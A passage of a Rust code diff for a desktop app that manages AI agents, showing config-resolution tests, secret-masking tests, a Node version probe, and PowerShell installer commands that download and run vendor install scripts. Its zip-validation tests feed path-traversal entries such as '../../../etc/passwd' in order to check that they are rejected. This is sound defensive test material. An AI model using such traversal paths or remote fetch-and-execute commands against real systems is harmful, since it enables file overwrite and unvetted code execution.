"agent".to_string(), + name: "Agent".to_string(), + persona_id: Some("persona-1".to_string()), + private_key_nsec: "".to_string(), + auth_tag: None, + relay_url: "ws://localhost:3000".to_string(), + avatar_url: None, + acp_command: "buzz-acp".to_string(), + agent_command: "goose".to_string(), + agent_args: vec![], + mcp_command: "".to_string(), + turn_timeout_seconds: 300, + idle_timeout_seconds: None, + max_turn_duration_seconds: None, + parallelism: 1, + system_prompt: None, + model: None, + env_vars: Default::default(), + start_on_app_launch: false, + auto_restart_on_config_change: true, + runtime_pid: None, + backend: BackendKind::Local, + backend_agent_id: None, + provider_binary_path: None, + team_id: None, + persona_team_dir: None, + persona_name_in_team: None, + created_at: "".to_string(), + updated_at: "".to_string(), + last_started_at: None, + last_stopped_at: None, + last_exit_code: None, + last_error: None, + last_error_code: None, + respond_to: RespondTo::OwnerOnly, + respond_to_allowlist: vec![], + display_name: None, + slug: None, + runtime: None, + name_pool: Vec::new(), + is_builtin: false, + is_active: true, + shared: false, + source_team: None, + source_team_persona_slug: None, + catalog_source: None, + definition_respond_to: None, + definition_respond_to_allowlist: Vec::new(), + definition_parallelism: None, + relay_mesh: None, + agent_command_override: None, + persona_source_version: None, + provider: None, + } +} + +fn persona_with_model(model: &str) -> AgentDefinition { + AgentDefinition { + id: "persona-1".to_string(), + display_name: "Persona".to_string(), + avatar_url: None, + system_prompt: "You are a persona.".to_string(), + runtime: None, + model: Some(model.to_string()), + provider: None, + name_pool: Vec::new(), + is_builtin: false, + is_active: true, + shared: false, + source_team: None, + source_team_persona_slug: None, + catalog_source: None, + env_vars: Default::default(), + respond_to: None, + respond_to_allowlist: Vec::new(), + parallelism: None, + created_at: "".to_string(), + updated_at: "".to_string(), + } +} + +/// A post-spawn session cache whose live model is `current_model` and whose +/// `model_overridden` flag records whether a `SwitchModel` control signal set +/// it (the live-switch signal). +fn session_cache(current_model: &str, model_overridden: bool) -> SessionConfigCache { + SessionConfigCache { + config_options: vec![], + available_modes: vec![], + available_models: vec![], + current_model: Some(current_model.to_string()), + model_overridden, + goose_native_config: None, + captured_at: "".to_string(), + } +} + +/// Definition-authoritative: a stale materialized `record.model` on a +/// linked instance must never outrank (or even be consulted against) the +/// linked persona's model. `update_managed_agent` already blocks writing +/// model/provider/prompt for linked instances, so a non-`None` value here +/// can only be leftover snapshot bytes from before a persona edit — the +/// panel must report the persona's current model, tagged `PersonaDefault`, +/// not the stale byte as `BuzzExplicit`. +#[test] +fn linked_stale_record_model_never_outranks_persona_model() { + let mut record = agent_record(); + record.model = Some("stale-explicit-model".to_string()); + let personas = vec![persona_with_model("persona-model")]; + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + None, + &Default::default(), + ); + + let model = surface.normalized.model.as_ref().expect("model resolved"); + assert_eq!(model.value.as_deref(), Some("persona-model")); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} + +/// Definition-authoritative, blank-definition case: a linked instance +/// whose persona has no model of its own must fall through to the global +/// default, tagged `GlobalDefault` — mirroring +/// `effective_config::resolve_linked`'s `None => global` arm. A stale +/// materialized record model must not shadow this fallthrough either. +#[test] +fn linked_blank_definition_model_falls_through_to_global_default() { + let mut record = agent_record(); + record.model = Some("stale-explicit-model".to_string()); + let mut persona = persona_with_model("unused"); + persona.model = None; + let personas = vec![persona]; + let global = crate::managed_agents::GlobalAgentConfig { + model: Some("global-model".to_string()), + ..Default::default() + }; + + let surface = resolve_config_surface(record, &personas, Some(goose_runtime()), None, &global); + + let model = surface.normalized.model.as_ref().expect("model resolved"); + assert_eq!(model.value.as_deref(), Some("global-model")); + assert_eq!(model.origin, ConfigOrigin::GlobalDefault); +} + +/// A definition-less (no `persona_id`) instance's own explicit model IS +/// authoritative — the stale-record clearing above is scoped to linked +/// instances only. +#[test] +fn definition_less_explicit_record_model_keeps_buzz_explicit_origin() { + let mut record = agent_record(); + record.persona_id = None; + record.model = Some("explicit-model".to_string()); + let personas = vec![persona_with_model("persona-model")]; + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + None, + &Default::default(), + ); + + let model = surface.normalized.model.as_ref().expect("model resolved"); + assert_eq!(model.value.as_deref(), Some("explicit-model")); + assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); +} + +/// Part A — pending-pick: a genuine-explicit pick X with a divergent live +/// model Y but `model_overridden == false` (the live switch is not yet +/// applied — a restart is pending) must keep X as the primary and must NOT +/// surface Y as an override row. The live `acp_model` does not win. This +/// FAILS against a let-live-acp-win variant (one that dropped the +/// `model_overridden` gate), so it is not vacuous. +#[test] +fn pending_pick_keeps_explicit_x_and_does_not_surface_live_y() { + let mut record = agent_record(); + record.persona_id = None; + record.model = Some("model-x".to_string()); + let personas: Vec = vec![]; + let cache = session_cache("model-y", false); + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &Default::default(), + ); + let model = surface.normalized.model.expect("model resolved"); + + assert_eq!(model.value.as_deref(), Some("model-x")); + assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); + assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); + assert_ne!(model.overridden_value.as_deref(), Some("model-y")); +} + +/// W2 — genuine-explicit live switch: record.model = X, no persona, +/// `model_overridden == true`, live model = Y. The live Y must render as the +/// primary with a `RuntimeOverride` origin and X as the secondary tagged +/// `BuzzExplicit` (its true source — NOT `PersonaDefault`). FAILS against the +/// shipped no-persona early-return, which left X as primary and Y struck. +#[test] +fn genuine_explicit_live_switch_renders_y_over_x_buzz_explicit_secondary() { + let mut record = agent_record(); + record.persona_id = None; + record.model = Some("model-x".to_string()); + let personas: Vec = vec![]; + let cache = session_cache("model-y", true); + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &Default::default(), + ); + let model = surface.normalized.model.expect("model resolved"); + + assert_eq!(model.value.as_deref(), Some("model-y")); + assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); + assert_eq!(model.overridden_value.as_deref(), Some("model-x")); + assert_eq!(model.overridden_origin, Some(ConfigOrigin::BuzzExplicit)); +} + +/// Y==X collision: a genuine-explicit agent live-switches to the SAME value +/// it already had. There is no real divergence, so the field must be a clean +/// single value with NO secondary row and origin matching the baseline (not +/// RuntimeOverride). FAILS against a naive `return base` that would leak the +/// `AcpConfigOption` row `build_model_field` populates, and against the +/// prior implementation that stamped `RuntimeOverride` on the equal-value arm. +/// +/// `with_no_goose_config` suppresses the goose config file read so that the +/// fall-through to normal resolution cannot pick up a local `~/.config/goose/config.yaml` +/// model as a spurious secondary — the test is about tier precedence, not the +/// local developer's goose install. +#[test] +fn genuine_explicit_live_switch_to_same_model_yields_clean_field() { + let mut record = agent_record(); + record.persona_id = None; + record.model = Some("model-x".to_string()); + let personas: Vec = vec![]; + let cache = session_cache("model-x", true); + + let surface = with_no_goose_config(|| { + resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &Default::default(), + ) + }); + let model = surface.normalized.model.expect("model resolved"); + + assert_eq!(model.value.as_deref(), Some("model-x")); + // Equal-value switch must NOT stamp RuntimeOverride — baseline origin wins. + assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); + assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); + assert_eq!(model.overridden_value, None); + assert_eq!(model.overridden_origin, None); +} + +/// Persona parity (regression): a persona-linked agent with no explicit +/// record model that live-switches still renders the persona model as the +/// secondary tagged `PersonaDefault` — the typed-baseline change must NOT +/// regress the persona arm to a different origin. +#[test] +fn persona_linked_live_switch_keeps_persona_default_secondary() { + let record = agent_record(); + let personas = vec![persona_with_model("persona-model")]; + let cache = session_cache("model-y", true); + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &Default::default(), + ); + let model = surface.normalized.model.expect("model resolved"); + + assert_eq!(model.value.as_deref(), Some("model-y")); + assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); + assert_eq!(model.overridden_value.as_deref(), Some("persona-model")); + assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); +} + +/// Fix 2 regression: a global-default-only agent (no record model, no +/// persona model, but global has a model) that live-switches mid-session +/// must render the global model as the secondary tagged `GlobalDefault`. +/// Before the fix, `baseline` was `None` in the `!had_model` arm when +/// persona has no model, so `read_config_surface` had no secondary to +/// surface. Fails against pre-fix code where the baseline arm returned +/// `None` when `!had_model && persona_model.is_none() && model_overridden`. +#[test] +fn global_default_live_switch_renders_global_model_as_secondary_global_default() { + // Record has no model, no persona, global provides the model. + let mut record = agent_record(); + record.persona_id = None; + // record.model = None (set by agent_record()) + let personas: Vec = vec![]; + let cache = session_cache("model-y", true); + let global = crate::managed_agents::GlobalAgentConfig { + model: Some("global-model".to_string()), + ..Default::default() + }; + + let surface = resolve_config_surface( + record, + &personas, + Some(goose_runtime()), + Some(&cache), + &global, + ); + let model = surface.normalized.model.expect("model resolved"); + + // Live model wins as primary. + assert_eq!(model.value.as_deref(), Some("model-y")); + assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); + // Global model surfaces as secondary, tagged GlobalDefault. + assert_eq!( + model.overridden_value.as_deref(), + Some("global-model"), + "global model must be the override baseline secondary" + ); + assert_eq!( + model.overridden_origin, + Some(ConfigOrigin::GlobalDefault), + "override baseline origin must be GlobalDefault, not PersonaDefault or BuzzExplicit" + ); +} + +// ── Snapshot constructor tests (build_inherited_tiers) ────────────────────── +// +// These test the sanitized snapshot constructor — the command-boundary +// function that builds InheritedConfigTiers from raw persona/global data. + +/// Orphaned persona link: a record whose persona_id references a non-existent +/// persona should produce empty persona tiers (not a panic), and the panel +/// still renders from the record and global tiers. +#[test] +fn orphaned_persona_link_yields_empty_persona_tiers() { + let mut record = agent_record(); + record.persona_id = Some("missing-persona".to_string()); + // No personas in the list — dangling link. + let personas: Vec = vec![]; + let global = crate::managed_agents::GlobalAgentConfig { + model: Some("global-model".to_string()), + ..Default::default() + }; + + let tiers = build_inherited_tiers(record.persona_id.as_deref(), None, &personas, &global); + + // Persona tier is empty — the orphan yields no persona inheritance. + assert!(tiers.persona_env.is_empty()); + assert!(tiers.persona_model.is_none()); + assert!(tiers.persona_provider.is_none()); + assert!(tiers.persona_prompt.is_none()); + // Global tiers are unaffected. + assert_eq!(tiers.global_model.as_deref(), Some("global-model")); +} + +/// Reserved key in persona env is stripped by sanitization — it must never +/// reach the reader or the display surface. +#[test] +fn reserved_key_in_inherited_persona_env_is_stripped() { + let mut persona = persona_with_model("model"); + // BUZZ_PRIVATE_KEY is a reserved key — must be stripped. + persona + .env_vars + .insert("BUZZ_PRIVATE_KEY".to_string(), "nsec-secret".to_string()); + // A safe key — must survive. + persona + .env_vars + .insert("GOOSE_MODEL".to_string(), "persona-model".to_string()); + let personas = vec![persona]; + let global = crate::managed_agents::GlobalAgentConfig::default(); + + let tiers = build_inherited_tiers(Some("persona-1"), None, &personas, &global); + + assert!( + !tiers.persona_env.contains_key("BUZZ_PRIVATE_KEY"), + "reserved key must be stripped from persona env tier" + ); + assert!( + tiers.persona_env.contains_key("GOOSE_MODEL"), + "safe key must survive sanitization" + ); +} + +/// `sanitize_inherited_env` strips reserved keys from a definition-env-shaped +/// map. This pins the shared sanitization contract for definition_env — the +/// same function is applied to all three env tiers (persona, global, definition) +/// at the command boundary. +#[test] +fn reserved_key_in_definition_env_shaped_map_is_stripped_by_sanitize() { + // Exercise sanitize_inherited_env directly with a definition-env-shaped map. + let mut raw = std::collections::BTreeMap::new(); + raw.insert("BUZZ_PRIVATE_KEY".to_string(), "nsec-secret".to_string()); + raw.insert("GOOSE_MODEL".to_string(), "harness-model".to_string()); + + let sanitized = sanitize_inherited_env(&raw); + + assert!( + !sanitized.contains_key("BUZZ_PRIVATE_KEY"), + "reserved key must be stripped by sanitize_inherited_env" + ); + assert!( + sanitized.contains_key("GOOSE_MODEL"), + "safe key must survive sanitize_inherited_env" + ); +} + +/// Malformed key in global env is stripped by sanitization — keys must be +/// POSIX-shaped (`[A-Za-z_][A-Za-z0-9_]*`). +#[test] +fn malformed_key_in_inherited_global_env_is_stripped() { + let mut global = crate::managed_agents::GlobalAgentConfig::default(); + // Key with an `=` — would bypass env-var security if passed to spawn. + global + .env_vars + .insert("BAD=KEY".to_string(), "value".to_string()); + // A valid key — must survive. + global + .env_vars + .insert("GOOSE_PROVIDER".to_string(), "anthropic".to_string()); + + let tiers = build_inherited_tiers(None, None, &[], &global); + + assert!( + !tiers.global_env.contains_key("BAD=KEY"), + "malformed key must be stripped from global env tier" + ); + assert!( + tiers.global_env.contains_key("GOOSE_PROVIDER"), + "valid key must survive sanitization" + ); +} + +// ── get_baked_build_env / is_secret_key tests ────────────────────────── + +/// Build a `BakedEnvEntry` vec from a synthetic map, mirroring what +/// `get_baked_build_env()` does. Used to test masking without relying on +/// compile-time `option_env!` vars (OSS builds have empty `baked_build_env`). +fn baked_env_from_map(map: &[(&str, &str)]) -> Vec { + map.iter() + .filter(|(_, v)| !v.is_empty()) + .map(|(k, v)| { + let masked = !super::is_safe_to_reveal(k); + BakedEnvEntry { + key: k.to_string(), + value: if masked { + "\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}".to_string() + } else { + v.to_string() + }, + masked, + } + }) + .collect() +} + +#[test] +fn baked_env_non_secret_key_shows_real_value() { + let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "databricks_v2")]); + assert_eq!(entries.len(), 1); + assert_eq!(entries[0].key, "BUZZ_AGENT_PROVIDER"); + assert_eq!(entries[0].value, "databricks_v2"); + assert!(!entries[0].masked); +} + +#[test] +fn baked_env_api_key_is_masked() { + let entries = baked_env_from_map(&[("ANTHROPIC_API_KEY", "sk-secret")]); + assert_eq!(entries.len(), 1); + assert_eq!(entries[0].value, "••••••"); + assert!(entries[0].masked); +} + +#[test] +fn baked_env_token_key_is_masked() { + let entries = baked_env_from_map(&[("GITHUB_TOKEN", "ghp_secret")]); + assert_eq!(entries.len(), 1); + assert!(entries[0].masked); +} + +#[test] +fn baked_env_secret_key_is_masked() { + let entries = baked_env_from_map(&[("MY_DB_SECRET", "s3cr3t")]); + assert_eq!(entries.len(), 1); + assert!(entries[0].masked); +} + +#[test] +fn baked_env_password_key_is_masked() { + let entries = baked_env_from_map(&[("DB_PASSWORD", "hunter2")]); + assert_eq!(entries.len(), 1); + assert!(entries[0].masked); +} + +#[test] +fn baked_env_empty_value_filtered_out() { + let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "")]); + assert!(entries.is_empty()); +} + +#[test] +fn baked_env_mixed_keys_correct_masking() { + let entries = baked_env_from_map(&[ + ("BUZZ_AGENT_PROVIDER", "databricks_v2"), + ("BUZZ_AGENT_MODEL", "goose-claude-opus-4-8"), + ("DATABRICKS_HOST", "https://example.com"), + ("DATABRICKS_TOKEN", "dapi-secret"), + ]); + assert_eq!(entries.len(), 4); + + let provider = entries + .iter() + .find(|e| e.key == "BUZZ_AGENT_PROVIDER") + .unwrap(); + assert_eq!(provider.value, "databricks_v2"); + assert!(!provider.masked); + + let model = entries + .iter() + .find(|e| e.key == "BUZZ_AGENT_MODEL") + .unwrap(); + assert_eq!(model.value, "goose-claude-opus-4-8"); + assert!(!model.masked); + + let host = entries.iter().find(|e| e.key == "DATABRICKS_HOST").unwrap(); + assert_eq!(host.value, "https://example.com"); + assert!(!host.masked); + + let token = entries + .iter() + .find(|e| e.key == "DATABRICKS_TOKEN") + .unwrap(); + assert_eq!(token.value, "••••••"); + assert!(token.masked); +} + +#[test] +fn baked_env_thinking_effort_is_unmasked() { + // BUZZ_AGENT_THINKING_EFFORT is a non-secret enum — must not be masked. + let entries = baked_env_from_map(&[("BUZZ_AGENT_THINKING_EFFORT", "medium")]); + assert_eq!(entries.len(), 1); + let effort = entries + .iter() + .find(|e| e.key == "BUZZ_AGENT_THINKING_EFFORT") + .unwrap(); + assert_eq!(effort.value, "medium"); + assert!(!effort.masked); +} + +#[test] +fn baked_env_allowlist_is_case_insensitive() { + // Known-safe keys — case-insensitive match must allow them. + assert!(super::is_safe_to_reveal("buzz_agent_provider")); + assert!(super::is_safe_to_reveal("BUZZ_AGENT_PROVIDER")); + assert!(super::is_safe_to_reveal("buzz_agent_model")); + assert!(super::is_safe_to_reveal("BUZZ_AGENT_MODEL")); + assert!(super::is_safe_to_reveal("buzz_agent_thinking_effort")); + assert!(super::is_safe_to_reveal("BUZZ_AGENT_THINKING_EFFORT")); + assert!(super::is_safe_to_reveal("databricks_host")); + assert!(super::is_safe_to_reveal("DATABRICKS_HOST")); + assert!(super::is_safe_to_reveal("databricks_model")); + assert!(super::is_safe_to_reveal("DATABRICKS_MODEL")); + // Keys NOT in the allowlist — masked regardless of naming pattern. + assert!(!super::is_safe_to_reveal("my_api_key")); + assert!(!super::is_safe_to_reveal("GITHUB_TOKEN")); + assert!(!super::is_safe_to_reveal("DB_SECRET")); + assert!(!super::is_safe_to_reveal("DB_PASSWORD")); + // Bare names that old heuristic (contains("_TOKEN") etc.) would have missed. + assert!(!super::is_safe_to_reveal("APIKEY")); + assert!(!super::is_safe_to_reveal("TOKEN")); + assert!(!super::is_safe_to_reveal("SECRET")); + assert!(!super::is_safe_to_reveal("PASSWORD")); + assert!(!super::is_safe_to_reveal("PRIVATE_KEY")); + // Unknown key → masked by default. + assert!(!super::is_safe_to_reveal("SOME_UNKNOWN_KEY")); +} diff --git a/desktop/src-tauri/src/commands/agent_discovery.rs b/desktop/src-tauri/src/commands/agent_discovery.rs index cbbf4ce351..0eb024a86a 100644 --- a/desktop/src-tauri/src/commands/agent_discovery.rs +++ b/desktop/src-tauri/src/commands/agent_discovery.rs @@ -21,25 +21,13 @@ fn active_installs() -> &'static std::sync::Mutex( runtime_id: &str, adapter_path: Option<&std::path::Path>, @@ -177,6 +165,9 @@ pub async fn save_custom_harness( model_env_var: None, provider_env_var: None, thinking_env_var: None, + max_tokens_env_var: None, + context_limit_env_var: None, + max_rounds_env_var: None, install_hint: definition.install_hint, install_instructions_url: definition.install_instructions_url, can_auto_install: false, @@ -333,10 +324,7 @@ fn install_acp_runtime_blocking( // For the codex runtime, "found" is not enough — the resolved binary must also // pass the 1.x version gate. An outdated 0.16.x adapter must be overwritten by // the new npm install so the CODEX_CONFIG spawn contract works correctly. - let adapter_path = runtime - .commands - .iter() - .find_map(|cmd| crate::managed_agents::resolve_command(cmd)); + let adapter_path = resolve_adapter_path(runtime.commands, runtime.adapter_install_commands); let adapter_probe_path = crate::managed_agents::readiness::cli_probe::augmented_path(); if let Some(cmds) = plan_adapter_install( runtime_id, @@ -1020,7 +1008,7 @@ use install_report::InstallReporter; mod managed_node; use managed_node::{ ensure_managed_node_runtime_blocking, managed_node_runtime_supported, managed_npm_command, - npm_eacces_hint, + npm_eacces_hint, resolve_adapter_path, }; #[tauri::command] @@ -1741,7 +1729,7 @@ mod tests { #[test] fn test_powershell_command_argv_exact() { // Catalog format: body wrapped in one outer double-quote pair (Bash-layer serialization). - let body = "irm https://chatgpt.com/codex/install.ps1 | iex"; + let body = "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-codex.ps1'; Invoke-RestMethod https://chatgpt.com/codex/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE"; let cmd = super::install_powershell_command(&format!( r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "{body}""# )); @@ -1771,12 +1759,12 @@ mod tests { ); } - /// Claude Code catalog command (discovery.rs:107) must dequote to the bare pipeline. + /// Claude Code catalog command must dequote to the two-step download-then-execute body. #[cfg(windows)] #[test] fn test_powershell_command_claude_catalog_dequoted() { let cmd = super::install_powershell_command( - r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm https://claude.ai/install.ps1 | iex""#, + r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-claude.ps1'; Invoke-RestMethod https://claude.ai/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE""#, ); assert_eq!( cmd.get_args() @@ -1787,22 +1775,22 @@ mod tests { "-ExecutionPolicy", "Bypass", "-Command", - "irm https://claude.ai/install.ps1 | iex", + "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-claude.ps1'; Invoke-RestMethod https://claude.ai/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE", ], "Claude catalog command must be dequoted correctly" ); } - /// Goose Windows catalog command (discovery.rs:78) must dequote to a bare pipeline - /// with a literal `$env:` prefix — no backslash before the dollar sign. - /// This proves the `\$` → `$` escape fix: post-#2750 the spawn is native and + /// Goose Windows catalog command must dequote to the two-step download-then-execute body + /// with the `$env:CONFIGURE` prefix intact — no backslash before the dollar sign. + /// This proves the `\$` → `$` contract: post-#2750 the spawn is native and /// PowerShell receives the body verbatim, so a residual `\` would produce /// `\$env:CONFIGURE='false'` which is a malformed statement. #[cfg(windows)] #[test] fn test_powershell_command_goose_catalog_dequoted() { let cmd = super::install_powershell_command( - r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex""#, + r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$env:CONFIGURE='false'; $ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-goose.ps1'; Invoke-RestMethod https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE""#, ); assert_eq!( cmd.get_args() @@ -1813,7 +1801,7 @@ mod tests { "-ExecutionPolicy", "Bypass", "-Command", - "$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex", + "$env:CONFIGURE='false'; $ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-goose.ps1'; Invoke-RestMethod https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE", ], "Goose catalog command must dequote with bare $env: (no backslash before $)" ); diff --git a/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs b/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs index 72108f0291..fbfb068c0e 100644 --- a/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs +++ b/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs @@ -102,25 +102,155 @@ fn managed_node_failed_step(stderr: String) -> InstallStepResult { } } -fn managed_node_runtime_ready() -> bool { +pub(super) fn managed_node_runtime_ready() -> bool { let Some(node) = crate::managed_agents::buzz_managed_node_bin_path() else { return false; }; if !node.is_file() { return false; } - let mut cmd = std::process::Command::new(&node); + probe_node(&node, MANAGED_NODE_VERSION, Duration::from_secs(3)) +} + +/// Run `executable --version` with a bounded deadline and return `true` only +/// when it exits 0 and its trimmed stdout equals `expected_version`. +/// +/// Transport: stdout is redirected to a temp file so no exit path can block on +/// an inherited handle (a descendant retaining a pipe write-end would otherwise +/// prevent EOF indefinitely). +/// +/// Cleanup: the child runs in its own process group on Unix (`process_group(0)`) +/// so an unconditional group SIGKILL on every exit path terminates all +/// descendants. On Windows, `terminate_process` issues `taskkill /T /F` for +/// tree-wide cleanup. SIGKILL to an already-dead group returns ESRCH (no-op). +pub(super) fn probe_node( + executable: &std::path::Path, + expected_version: &str, + timeout: Duration, +) -> bool { + let tmp = match tempfile::NamedTempFile::new() { + Ok(f) => f, + Err(_) => return false, + }; + let out_file = match tmp.reopen() { + Ok(f) => f, + Err(_) => return false, + }; + + let mut cmd = std::process::Command::new(executable); cmd.arg("--version") .stdin(std::process::Stdio::null()) - .stdout(std::process::Stdio::piped()) + .stdout(std::process::Stdio::from(out_file)) .stderr(std::process::Stdio::null()); crate::util::configure_no_window(&mut cmd); - let output = cmd.output(); - output - .ok() - .filter(|output| output.status.success()) - .map(|output| String::from_utf8_lossy(&output.stdout).trim() == MANAGED_NODE_VERSION) - .unwrap_or(false) + #[cfg(unix)] + { + use std::os::unix::process::CommandExt; + cmd.process_group(0); + } + let Ok(mut child) = cmd.spawn() else { + return false; + }; + + let deadline = std::time::Instant::now() + timeout; + let exit_status = loop { + match child.try_wait() { + Ok(Some(status)) => break status, + Ok(None) => { + if std::time::Instant::now() >= deadline { + kill_probe_group(child.id()); + let _ = child.wait(); + return false; + } + std::thread::sleep(Duration::from_millis(50)); + } + Err(_) => { + kill_probe_group(child.id()); + let _ = child.wait(); + return false; + } + } + }; + + // Group-kill unconditionally: SIGKILL to a dead group is ESRCH (no-op). + kill_probe_group(child.id()); + + if !exit_status.success() { + return false; + } + + let mut output = String::new(); + if std::io::Read::read_to_string(&mut tmp.as_file(), &mut output).is_err() { + return false; + } + output.trim() == expected_version +} + +/// Kill the probe's process group/tree unconditionally (no TERM grace — this +/// is a probe, not an agent session). ESRCH on a dead group is fine. +fn kill_probe_group(pid: u32) { + #[cfg(unix)] + unsafe { + libc::kill(-(pid as i32), libc::SIGKILL); + } + #[cfg(windows)] + { + let _ = crate::managed_agents::terminate_process(pid); + } + #[cfg(not(any(unix, windows)))] + { + let _ = pid; + } +} + +/// Returns `true` when the managed Node runtime is absent or no longer executes — +/// meaning any existing npm adapter shims are broken and must be reinstalled. +/// +/// This fires when the pinned Node version changes (e.g. v24.11.0 → v24.18.0): +/// the old dir stays on disk, shims appear installed, but they fail at run time +/// because the Node binary they reference is gone. Treating the adapter as +/// missing forces `ensure_managed_node_runtime_blocking` to re-download Node and +/// npm to reinstall the shims. +pub(super) fn managed_node_orphaned() -> bool { + managed_node_runtime_supported() && !managed_node_runtime_ready() +} + +/// Returns `true` when an adapter at `resolved` should be invalidated. +/// +/// Only a Buzz-managed shim (path under `managed_prefix`) with an orphaned +/// runtime is invalidated; external adapters are always preserved. +pub(super) fn should_invalidate_adapter( + resolved: &std::path::Path, + managed_prefix: &std::path::Path, + orphaned: bool, +) -> bool { + orphaned && resolved.starts_with(managed_prefix) +} + +/// Resolve the adapter binary path, accounting for the Node-orphan case. +/// Resolves first; invalidates only managed-prefix shims when Node is orphaned. +pub(super) fn resolve_adapter_path( + commands: &[&str], + adapter_install_commands: &[&str], +) -> Option { + let resolved = commands + .iter() + .find_map(|cmd| crate::managed_agents::resolve_command(cmd)); + + let needs_managed_npm = adapter_install_commands + .iter() + .any(|cmd| is_npm_global_install(cmd)); + if needs_managed_npm { + if let (Some(ref path), Some(ref managed_bin)) = + (&resolved, crate::managed_agents::buzz_managed_npm_bin_dir()) + { + if should_invalidate_adapter(path, managed_bin, managed_node_orphaned()) { + return None; + } + } + } + + resolved } fn managed_node_install_lock() -> &'static Mutex<()> { @@ -538,211 +668,5 @@ pub(super) fn npm_eacces_hint(stderr: &str, _command: &str) -> Option { // ── end managed npm adapter installs ────────────────────────────────────────── #[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_npm_eacces_hint_guidance_mentions_buzz_private_dir() { - let hint = npm_eacces_hint("EACCES: permission denied", "npm install -g foo").unwrap(); - assert!( - hint.contains("Buzz's private Node tools directory"), - "hint: {hint}" - ); - } - - #[test] - fn test_rewrite_npm_install_uses_private_prefix() { - assert_eq!( - rewrite_npm_global_install( - "npm install -g @agentclientprotocol/codex-acp", - "'/tmp/Buzz Node'" - ), - "npm install --global --prefix '/tmp/Buzz Node' @agentclientprotocol/codex-acp" - ); - } - - #[test] - fn test_rewrite_npm_i_uses_private_prefix() { - assert_eq!( - rewrite_npm_global_install("npm i -g some-package", "'/tmp/buzz'"), - "npm i --global --prefix '/tmp/buzz' some-package" - ); - } - - #[test] - fn test_rewrite_npm_uninstall_uses_private_prefix() { - assert_eq!( - rewrite_npm_global_install("npm uninstall -g @zed-industries/codex-acp", "'/tmp/buzz'"), - "npm uninstall --global --prefix '/tmp/buzz' @zed-industries/codex-acp" - ); - } - - #[test] - fn test_rewrite_ignores_non_global_command() { - assert_eq!( - rewrite_npm_global_install("npm install foo", "'/tmp/buzz'"), - "npm install foo" - ); - } - - #[test] - fn test_shell_quote_escapes_single_quotes() { - assert_eq!( - shell_quote(std::path::Path::new("/tmp/Buzz's Node")), - "'/tmp/Buzz'\\''s Node'" - ); - } - - // ── zip validation tests ────────────────────────────────────────────────── - - /// Build an in-memory zip archive with the supplied entry names and return - /// a temporary file containing it (zip::ZipArchive requires Seek). - fn make_zip_with_entries(entry_names: &[&str]) -> tempfile::NamedTempFile { - let mut buf: Vec = Vec::new(); - { - let mut writer = zip::ZipWriter::new(std::io::Cursor::new(&mut buf)); - let opts = zip::write::SimpleFileOptions::default(); - for name in entry_names { - writer.start_file(*name, opts).unwrap(); - } - writer.finish().unwrap(); - } - let mut tmp = tempfile::NamedTempFile::new().unwrap(); - std::io::Write::write_all(&mut tmp, &buf).unwrap(); - tmp - } - - #[test] - fn test_validate_zip_accepts_normal_entries() { - let tmp = make_zip_with_entries(&[ - "node-v24.18.0-win-x64/node.exe", - "node-v24.18.0-win-x64/npm.cmd", - "node-v24.18.0-win-x64/npm", - ]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - assert!(validate_managed_node_zip_entries(&archive).is_ok()); - } - - #[test] - fn test_validate_zip_rejects_absolute_path() { - let tmp = make_zip_with_entries(&["/etc/passwd"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = zip::ZipArchive::new(file).unwrap(); - let err = validate_managed_node_zip_entries(&archive).unwrap_err(); - assert!( - err.contains("absolute path"), - "expected 'absolute path' in: {err}" - ); - } - - #[test] - fn test_validate_zip_rejects_path_traversal() { - let tmp = make_zip_with_entries(&["../../../etc/passwd"]); - let file = std::fs::File::open(tmp.path()).unwrap(); - let archive = 